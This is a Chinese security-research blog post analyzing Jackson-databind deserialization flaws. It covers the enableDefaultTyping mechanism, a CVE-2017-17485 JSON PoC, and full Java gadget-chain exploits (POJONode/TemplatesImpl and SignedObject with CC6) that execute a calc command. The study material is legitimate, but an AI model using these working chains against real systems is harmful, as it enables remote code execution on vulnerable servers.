https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

Jackson反序列化漏洞学习

Jackson反序列化漏洞学习

依赖:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.9</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.7.9</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-annotations</artifactId>
    <version>2.7.9</version>
</dependency>

demo:

public class User {
    private String username;
    private String password;
    private Object object;
    public User() {
    }

    public User(String username, String password, Object object) {
        this.username = username;
        this.password = password;
        this.object = object;
    }

    public String getUsername() {
        return username;
    }
    public String getPassword() {
        return password;
    }
    public Object getObject() {
        return object;
    }

    public void setUsername(String username) {
        this.username = username;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public void setObject(Object object) {
        this.object = object;
    }
}
public class JacksonTest {
    public static void main(String[] args) throws Exception {
        User user = new User("zhangsan", "123456",new Person());
        ObjectMapper mapper = new ObjectMapper();
        Person person = new Person();
//        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
        User user2 = mapper.readValue(json, User.class);
        System.out.println(user2);
    }
}

Jackson库中用于读写JSON的主要类是ObjectMapper,它在com.fasterxml.jackson.databind 包中,可以序列化和反序列化两种类型的对象,使用方法如上,默认是只反序列化基本类型加上指定的类

为了解决多态问题,使用两种方法

  • 1.通过DefaultTyping的配置解决多态问题
  • 2.通过@JsonTypeInfo注解解决多态问题

将上述demo修改一下,漏洞分析

public class User2 {
    public String name="Tana";
}
public User(String username, String password, Object object) {
    this.username = username;
    this.password = password;
    this.object = object;
}
public class JacksonTest {
    public static void main(String[] args) throws IOException {
        User user = new User("Sentiment","123456", new User2());
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
        User other = mapper.readValue(json,User.class);
        System.out.println(other);
    }
}

流程分析:

来到_readMapAndClose函数,首先获取反序列化器,然后开始反序列化

image-20250530194815154

image-20250530194711292

一直来到vanillaDeserialize

循环解析json然后反序列化处理,未知字段交给handleUnknowVanilla()处理

调用newInstance()创建实例

image-20250530195745386

调用deserialize()取值

image-20250530195842131

username字段与Object字段处理的不同点在于_valueTypeDeserializer

image-20250530200019715

这个字段在如下函数赋值

image-20250530201845380

真正处理不同的地方在findPropertyTypeDeserializer,username为空,object数组会有一个valueTypeDeser

image-20250530202328103

"object":["com.kudo.Person"]而这种数组类型的会重新调用_deserialize

看一下如何加载User2,首先调用_locateTypeId返回字段,com.kudo.User2,如何调用了_findDeserializer中加载了

image-20250530203120602

如下调用加载了User2,之后则与User的解析一致了包括这里的类加载,然后返回User2的值

findClass:251, TypeFactory (com.fasterxml.jackson.databind.type)
_typeFromId:68, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)
typeFromId:51, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)

image-20250530203554381

回到这个函数,反序列化取值后都调用setter方法进行赋值,username字段调用setUsername 而User2这个对象调用setObject

image-20250530202521584

image-20250531161746495

漏洞场景:

满足下面三个条件之一即存在Jackson反序列化漏洞:

  • 调用了ObjectMapper.enableDefaultTyping()函数
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解

1.属性不为Object类时

当要进行反序列化的类的属性所属类的构造函数或setter方法本身存在漏洞时,这种场景存在Jackson反序列化漏洞

2.属性为Object类时

寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用

CVE-2017-17485 ClassPathXmlApplicationContext利用链

ackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

依赖:

    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-beans</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-context</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-core</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework</groupId>  
        <artifactId>spring-expression</artifactId>  
        <version>5.0.2.RELEASE</version>  
    </dependency>  

poc:

["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/spel.xml"]

org.springframework.context.support.ClassPathXmlApplicationContext的构造函数会一直调用至spel解析

还有一些rce

Jackson-databind的几个CVE-先知社区

原生反序列化链

POJONode链

从开始POJONode.toString开始,此类没有toString方法,寻找到父类toString方法,然后一路执行到下图所示invoke调用任意的getter方法,所以可以链接上Templates链#getOutputProperties

image-20250601171858505

serializeAsField:688, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

如何调用POJONode.toString,即向前连接CC5中的BadAttributeValueExpException即可。

但是在序列化BadAttributeValueExpException会发现一个错误导致序列化失败

原因是:POJONode父类BaseJsonNode重写了writeReplace方法

Java原生序列化的特殊回调:writeReplace()是ObjectOutputStream序列化对象时的优先回调方法。若该方法存在,JVM会调用它并将返回值作为实际序列化的对象

不过这是本地可以控制的,我们只需要通过javassist的暂时的让这个类消失即可,如改名或者直接删除这个类

image-20250601170341043

最后的payload

public class Jackson2 {
    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        byte[] code = ctClass.toBytecode();
        //装载Templates
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][]{code});
        setFieldValue(template, "_name", "Evil");

        CtClass ctClass2 = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        ctClass2.removeMethod(ctClass2.getDeclaredMethod("writeReplace"));
        ctClass2.toClass();
        POJONode jsonNodes = new POJONode(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonNodes);

        //序列化
        new ObjectOutputStream(new FileOutputStream("jackson.bin")).writeObject(badAttributeValueExpException);
        //反序列化
        new ObjectInputStream(new FileInputStream("jackson.bin")).readObject();
    }
}

SignedObject二次反序列化链

在上面POJONode的基础上套一层反序列化,利用SignedObject#getObject会进行反序列化

image-20250601174805637

构造函数构造即可

image-20250601174843283

如加入CC依赖的payload

payload:

public class Jackson_SignedObject {
    public static void main(String[] args) throws Exception {
        //删除writeReplace
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass2 = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        ctClass2.removeMethod(ctClass2.getDeclaredMethod("writeReplace"));
        ctClass2.toClass();
        //CC6
        Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
        LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(),chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),new String());
        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"b");
        Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Field mapField = tiedMapEntryClass.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedMapEntry,lazyMap);
        //构造signedObject
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(), Signature.getInstance("DSA"));
        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, node);

        //序列化
        new ObjectOutputStream(new FileOutputStream("jackson.bin")).writeObject(bad);
        //反序列化
        new ObjectInputStream(new FileInputStream("jackson.bin")).readObject();
    }
}

参考:

Jackson反序列化漏洞研究 - 郑瀚 - 博客园

JavaSec | jackson反序列化通杀链_jackson高版本java 通杀链-CSDN博客

深入浅出解析Jackson反序列化-先知社区

posted @ 2025-06-01 17:56  kudo4869  阅读(258)  评论(0)    收藏  举报